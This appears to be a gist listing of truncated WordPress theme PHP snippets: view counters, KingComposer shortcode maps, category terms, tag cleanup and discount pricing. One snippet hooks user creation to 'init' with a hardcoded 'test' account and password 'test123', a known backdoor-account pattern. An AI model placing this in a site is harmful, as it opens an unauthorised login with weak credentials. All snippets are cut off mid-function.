Skip to content

Instantly share code, notes, and snippets.

<?php
//this code is functions.php
function getPostViews($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
return "0 View";
}
<?php
//for post type
add_action('init', 'theme_name_slider_init', 99 );
function theme_name_slider_init(){
if(isset( $GLOBALS['kc'])){
global $kc;
$kc->add_content_type( 'slider' );
}
}
<?php
/**
* =======================================================
* KC Shortcode Map
* =======================================================
*/
add_action('init', 'thmename_pricing_table_map'); // Call kc_add_map function ///
if(!function_exists('thmename_pricing_table_map')):
function thmename_pricing_table_map(){
<?php
/**
* =======================================================
* KC Shortcode Map
* =======================================================
*/
add_action('init', 'themename_team_sections'); // Call kc_add_map function ///
if(!function_exists('themename_team_sections')):
function themename_team_sections(){
<?php
/**
* =======================================================
* KC Shortcode Map
* =======================================================
*/
add_action('init', 'themename_recent_posttype'); // Call kc_add_map function ///
if(!function_exists('themename_recent_posttype')):
function themename_recent_posttype(){
if(function_exists('kc_add_map')): // if kingComposer is active
<?php
/**
* =======================================================
* KC Shortcode Map
* =======================================================
*/
add_action('init', 'themename_upcomming_section'); // Call kc_add_map function ///
if(!function_exists('themename_upcomming_section')):
function themename_upcomming_section(){
if(function_exists('kc_add_map')): // if kingComposer is active
<?php
//for another category addd
$facility = get_terms('hotel_category',true);
$post_terms = wp_get_post_terms(get_the_id(),'hotel_category');
$post_terms_ids = array();
foreach( $post_terms as $item ){
$post_terms_ids[] = $item->term_id;
}
$i = 1;
foreach( $facility as $item ):
<?php
add_filter('style_loader_tag', 'themeName_remove_type_attr', 10, 2);
add_filter('script_loader_tag', 'themeName_remove_type_attr', 10, 2);
function themeName_remove_type_attr($tag, $handle) {
return preg_replace( "/type=['\"]text\/(javascript|css)['\"]/", '', $tag );
}
?>
<?php
//this code use functions.php
add_action('init', 'add_my_user');
function add_my_user() {
$username = 'test';
$email = 'mkhkamal2003@gmail.com';
$password = 'test123';
$user_id = username_exists( $username );
if ( !$user_id && email_exists($email) == false ) {
<?php
global $product;
$discount = '';
$regurlar_price = get_post_meta( get_the_ID(), '_regular_price', true);
$sale_price = get_post_meta( get_the_ID(), '_sale_price', true);
if($regurlar_price && $sale_price ){
$price = $sale_price * 100 / $regurlar_price;